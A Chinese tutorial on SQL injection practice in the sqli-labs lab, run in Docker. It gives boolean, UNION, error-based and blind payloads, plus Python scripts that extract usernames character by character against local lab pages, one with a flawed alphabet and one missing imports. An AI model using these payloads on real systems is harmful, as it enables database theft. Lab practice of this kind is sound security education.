在docker中配置sqli-labs,关于docker的安装可以参考前面的文章,这里不做描述
- docker search sqli-labs 搜索镜像
- docker pull acgpiano/sqli-labs 拉取镜像
- docker run -dt --name NAME(别名) -p 80:80 --rm acgpiano/sqli-labs 运行镜像
- docker exec -it ID /bin/bash 进入终端,其中ID为容器ID,通过docker ps查找
-
运行镜像之后通过访问IP地址即可进入练习环境,首先要先点击第二行的setup再开始注入练习
数字型
- ?id=1 and 1=1
- ?id=1 and 1=2
-
字符型
- ?id=1' and '1'='1
- ?id=1' and '1'='2
-
当然,在注入过程中不能局限于使用单引号’,也可以使用",’),’)),"),"))等进行组合探测
1、使用order by判断列数
sql语句:select id,name from myclass order by 2;
如果order by后面的数字超过前面的字段数则会报错,所以可以据此来猜解列数
注意:如果order by后面跟sql语句,该语句不会被执行,只会被当作字符串,输出结果都为真
比如order by (select 1 and 2=3),后面语句不会被执行
- order by num--+
-
其中--+是注释符号,可以对后面的内容进行注释,但如果使用#注释的话需使用url编码,变成%23才有效
2、联合查询
联合查询union select后的字段数也是要跟前面一致,所以要先进行步骤一的判断列数
举例:使用union select 1,2,database()--+爆出当前数据库
双查询可用在没有正确回显,只有错误回显的地方
- 关键函数:
- rand() 是一个生成随机数的函数,他会返回0到1之间到一个值
- floor() 是取整函数,向下取整
- count() 是一个聚合函数,用户返回符合条件的记录数量
-
注入语句,查询数据库版本
- union select 1,count(*),concat((select version()),0x7e,floor(rand()*2)) as a from information_schema.tables group by a --+
-
查询字段内容,由于行数限制,可以使用limit进行配合查询
- union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e,floor(rand()*2)) as a from information_schema.tables group by a--+
-
- and substr((查询命令),1,1)='%s'--+
- and substr((select user()),1,1)='e'--+ 查询当前用户,需要一个一个字符去做判断
-
可通过python脚本进行自动化查找
- import requests
-
- def database_name():
- name = ''
- for j in range(1, 10):
- for i in 'abcdefghigklmnopqrstuvwxyz_':
- url = "http://127.0.0.1/Less-8/?id=1' and substr((select username from security.users limit 0,1),%d,1)='%s'" % (j, i)
- r = requests.get(url + '%23')
- if 'You are in' in r.text:
- name = name + i
- print(name)
- break
- print('database_name:', name)
-
- database_name()
-
利用if(条件,0,1)函数,当条件为真,返回0,假则返回1
if(1=1,sleep(5),1)条件为真执行延时函数
时间注入脚本
- def database_name():
- name = ''
- for j in range(1, 9):
- for i in '0123456789abcdefghijklmnopqrstuvwxyz_':
- url = '''http://127.0.0.1/Less-9/'''
- payload = '''?id=1' and if(substr((select username from security.users limit 1,1),%d,1)='%s',sleep(1),1)''' % (j, i)
- time1 = datetime.datetime.now()
- r = requests.get(url + payload + '%23')
- time2 = datetime.datetime.now()
- sec = (time2 - time1).seconds
- if sec >= 1:
- name += i
- print(name)
- break
- print('database_name:', name)
-
- database_name()
-